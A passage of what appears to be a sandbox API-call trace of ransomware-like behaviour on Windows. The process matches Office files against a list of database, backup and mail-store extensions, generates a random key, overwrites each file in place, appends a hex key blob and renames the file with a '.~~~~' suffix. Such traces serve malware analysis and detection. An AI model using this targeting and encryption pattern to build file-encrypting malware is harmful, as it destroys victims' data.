	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dbv") returned 0x0
	[0144.626] lstrlenW (lpString=".SDF") returned 4
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".SDF") returned 0x0
	[0144.626] lstrlenW (lpString=".dtxs") returned 5
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dtxs") returned 0x0
	[0144.626] lstrlenW (lpString=".db3") returned 4
	[0144.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".db3") returned 0x0
	[0144.626] lstrlenW (lpString=".OST") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".OST") returned 0x0
	[0144.627] lstrlenW (lpString=".dbx") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dbx") returned 0x0
	[0144.627] lstrlenW (lpString=".DB3") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DB3") returned 0x0
	[0144.627] lstrlenW (lpString=".DAT") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DAT") returned 0x0
	[0144.627] lstrlenW (lpString=".VHDX") returned 5
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".VHDX") returned 0x0
	[0144.627] lstrlenW (lpString=".ndf") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".ndf") returned 0x0
	[0144.627] lstrlenW (lpString=".DB") returned 3
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DB") returned 0x0
	[0144.627] lstrlenW (lpString=".sql") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".sql") returned 0x0
	[0144.627] lstrlenW (lpString=".MYD") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".MYD") returned 0x0
	[0144.627] lstrlenW (lpString=".DBT") returned 4
	[0144.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DBT") returned 0x0
	[0144.628] lstrlenW (lpString=".ACCDB") returned 6
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.628] lstrlenW (lpString=".fdb") returned 4
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".fdb") returned 0x0
	[0144.628] lstrlenW (lpString=".bak") returned 4
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".bak") returned 0x0
	[0144.628] lstrlenW (lpString=".myd") returned 4
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".myd") returned 0x0
	[0144.628] lstrlenW (lpString=".DTXS") returned 5
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".DTXS") returned 0x0
	[0144.628] lstrlenW (lpString=".ckp") returned 4
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".ckp") returned 0x0
	[0144.628] lstrlenW (lpString=".dbt") returned 4
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".dbt") returned 0x0
	[0144.628] lstrlenW (lpString=".db") returned 3
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".db") returned 0x0
	[0144.628] lstrlenW (lpString=".TXT") returned 4
	[0144.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".TXT") returned 0x0
	[0144.628] lstrlenW (lpString=".MDF") returned 4
	[0144.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".MDF") returned 0x0
	[0144.629] lstrlenW (lpString=".bdb") returned 4
	[0144.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".bdb") returned 0x0
	[0144.629] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.629] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3959e8) returned 1
	[0144.631] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.631] CryptReleaseContext (hProv=0x3959e8, dwFlags=0x0) returned 1
	[0144.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.631] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26462135070) returned 1
	[0144.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf9c4690, dwHighDateTime=0x1d60e1e)) 
	[0144.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fe10
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fe10 | out: hHeap=0x300000) returned 1
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.633] GetLastError () returned 0x0
	[0144.633] GetLastError () returned 0x0
	[0144.633] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.633] GetLastError () returned 0x0
	[0144.634] GetLastError () returned 0x0
	[0144.634] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.637] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.637] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.637] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.637] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.638] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.638] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.638] CloseHandle (hObject=0x104) returned 1
	[0144.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.638] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.~~~~")) returned 1
	[0144.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37efa0 | out: hHeap=0x300000) returned 1
	[0144.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.641] GetLastError () returned 0x0
	[0144.641] RtlWakeConditionVariable () returned 0x0
	[0144.641] GetCurrentThreadId () returned 0x3a4
	[0144.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".scr") returned 0x0
	[0144.641] lstrlenW (lpString=".cmd") returned 4
	[0144.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".cmd") returned 0x0
	[0144.641] lstrlenW (lpString=".dll") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dll") returned 0x0
	[0144.642] lstrlenW (lpString=".bat") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".bat") returned 0x0
	[0144.642] lstrlenW (lpString=".cpl") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".cpl") returned 0x0
	[0144.642] lstrlenW (lpString=".sys") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".sys") returned 0x0
	[0144.642] lstrlenW (lpString=".msc") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".msc") returned 0x0
	[0144.642] lstrlenW (lpString=".com") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".com") returned 0x0
	[0144.642] lstrlenW (lpString=".lnk") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".lnk") returned 0x0
	[0144.642] lstrlenW (lpString=".msp") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".msp") returned 0x0
	[0144.642] lstrlenW (lpString=".pif") returned 4
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".pif") returned 0x0
	[0144.642] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.645] lstrlenW (lpString=".sqb") returned 4
	[0144.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".sqb") returned 0x0
	[0144.645] lstrlenW (lpString=".ost") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".ost") returned 0x0
	[0144.646] lstrlenW (lpString=".txt") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".txt") returned 0x0
	[0144.646] lstrlenW (lpString=".mdt") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".mdt") returned 0x0
	[0144.646] lstrlenW (lpString=".BDB") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".BDB") returned 0x0
	[0144.646] lstrlenW (lpString=".eql") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".eql") returned 0x0
	[0144.646] lstrlenW (lpString=".DBF") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DBF") returned 0x0
	[0144.646] lstrlenW (lpString=".EQL") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".EQL") returned 0x0
	[0144.646] lstrlenW (lpString=".FDB") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".FDB") returned 0x0
	[0144.646] lstrlenW (lpString=".EDB") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".EDB") returned 0x0
	[0144.646] lstrlenW (lpString=".DACPAC") returned 7
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DACPAC") returned 0x0
	[0144.646] lstrlenW (lpString=".VHD") returned 4
	[0144.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".VHD") returned 0x0
	[0144.646] lstrlenW (lpString=".DBV") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DBV") returned 0x0
	[0144.647] lstrlenW (lpString=".dacpac") returned 7
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dacpac") returned 0x0
	[0144.647] lstrlenW (lpString=".sdf") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".sdf") returned 0x0
	[0144.647] lstrlenW (lpString=".accdb") returned 6
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".accdb") returned 0x0
	[0144.647] lstrlenW (lpString=".DBX") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DBX") returned 0x0
	[0144.647] lstrlenW (lpString=".MDT") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".MDT") returned 0x0
	[0144.647] lstrlenW (lpString=".SQB") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".SQB") returned 0x0
	[0144.647] lstrlenW (lpString=".vhd") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".vhd") returned 0x0
	[0144.647] lstrlenW (lpString=".bac") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".bac") returned 0x0
	[0144.647] lstrlenW (lpString=".mdf") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".mdf") returned 0x0
	[0144.647] lstrlenW (lpString=".BAK") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".BAK") returned 0x0
	[0144.647] lstrlenW (lpString=".BAC") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".BAC") returned 0x0
	[0144.647] lstrlenW (lpString=".dbs") returned 4
	[0144.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dbs") returned 0x0
	[0144.647] lstrlenW (lpString=".vhdx") returned 5
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".vhdx") returned 0x0
	[0144.648] lstrlenW (lpString=".NDF") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".NDF") returned 0x0
	[0144.648] lstrlenW (lpString=".dat") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dat") returned 0x0
	[0144.648] lstrlenW (lpString=".DBS") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DBS") returned 0x0
	[0144.648] lstrlenW (lpString=".CKP") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".CKP") returned 0x0
	[0144.648] lstrlenW (lpString=".edb") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".edb") returned 0x0
	[0144.648] lstrlenW (lpString=".PST") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".PST") returned 0x0
	[0144.648] lstrlenW (lpString=".dbf") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dbf") returned 0x0
	[0144.648] lstrlenW (lpString=".SQL") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".SQL") returned 0x0
	[0144.648] lstrlenW (lpString=".pst") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".pst") returned 0x0
	[0144.648] lstrlenW (lpString=".dbv") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dbv") returned 0x0
	[0144.648] lstrlenW (lpString=".SDF") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".SDF") returned 0x0
	[0144.648] lstrlenW (lpString=".dtxs") returned 5
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dtxs") returned 0x0
	[0144.648] lstrlenW (lpString=".db3") returned 4
	[0144.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".db3") returned 0x0
	[0144.649] lstrlenW (lpString=".OST") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".OST") returned 0x0
	[0144.649] lstrlenW (lpString=".dbx") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dbx") returned 0x0
	[0144.649] lstrlenW (lpString=".DB3") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DB3") returned 0x0
	[0144.649] lstrlenW (lpString=".DAT") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DAT") returned 0x0
	[0144.649] lstrlenW (lpString=".VHDX") returned 5
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".VHDX") returned 0x0
	[0144.649] lstrlenW (lpString=".ndf") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".ndf") returned 0x0
	[0144.649] lstrlenW (lpString=".DB") returned 3
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DB") returned 0x0
	[0144.649] lstrlenW (lpString=".sql") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".sql") returned 0x0
	[0144.649] lstrlenW (lpString=".MYD") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".MYD") returned 0x0
	[0144.649] lstrlenW (lpString=".DBT") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DBT") returned 0x0
	[0144.649] lstrlenW (lpString=".ACCDB") returned 6
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".ACCDB") returned 0x0
	[0144.649] lstrlenW (lpString=".fdb") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".fdb") returned 0x0
	[0144.649] lstrlenW (lpString=".bak") returned 4
	[0144.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".bak") returned 0x0
	[0144.650] lstrlenW (lpString=".myd") returned 4
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".myd") returned 0x0
	[0144.650] lstrlenW (lpString=".DTXS") returned 5
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".DTXS") returned 0x0
	[0144.650] lstrlenW (lpString=".ckp") returned 4
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".ckp") returned 0x0
	[0144.650] lstrlenW (lpString=".dbt") returned 4
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".dbt") returned 0x0
	[0144.650] lstrlenW (lpString=".db") returned 3
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".db") returned 0x0
	[0144.650] lstrlenW (lpString=".TXT") returned 4
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".TXT") returned 0x0
	[0144.650] lstrlenW (lpString=".MDF") returned 4
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".MDF") returned 0x0
	[0144.650] lstrlenW (lpString=".bdb") returned 4
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".bdb") returned 0x0
	[0144.650] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.651] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3957c8) returned 1
	[0144.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
